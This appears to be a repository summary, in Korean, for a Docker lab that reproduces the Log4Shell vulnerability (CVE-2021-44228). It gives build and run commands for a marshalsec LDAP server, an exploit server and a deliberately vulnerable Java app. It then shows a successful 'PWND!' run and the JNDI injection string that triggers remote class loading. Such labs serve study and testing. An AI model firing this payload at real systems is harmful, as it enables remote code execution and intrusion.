chilliwebs/cve-2021-44228_exampleCVE-2021-44228 (Log4Shell)을 위한 Docker 기반 재현 환경으로, marshalsec LDAP 서버, 익스플로잇 웹 서버 및 JNDI 인젝션 테스트용 취약한 Java 애플리케이션을 포함합니다.
docker build -t marshalsec marshalsec/.
docker run -it --rm -p 1389:1389 --add-host=host.docker.internal:172.17.0.1 --name marshalsec marshalsec
docker build -t exploit ./exploit
docker run -it --rm -p 8888:8888 --add-host=host.docker.internal:172.17.0.1 --name exploit exploit
docker build -t guinea_pig guinea_pig/.
docker run -it --rm --add-host=host.docker.internal:172.17.0.1 --name guinea_pig guinea_pig
PWND!
[main] ERROR gp.GuineaPig - ${jndi:ldap://host.docker.internal:1389/#Exploit}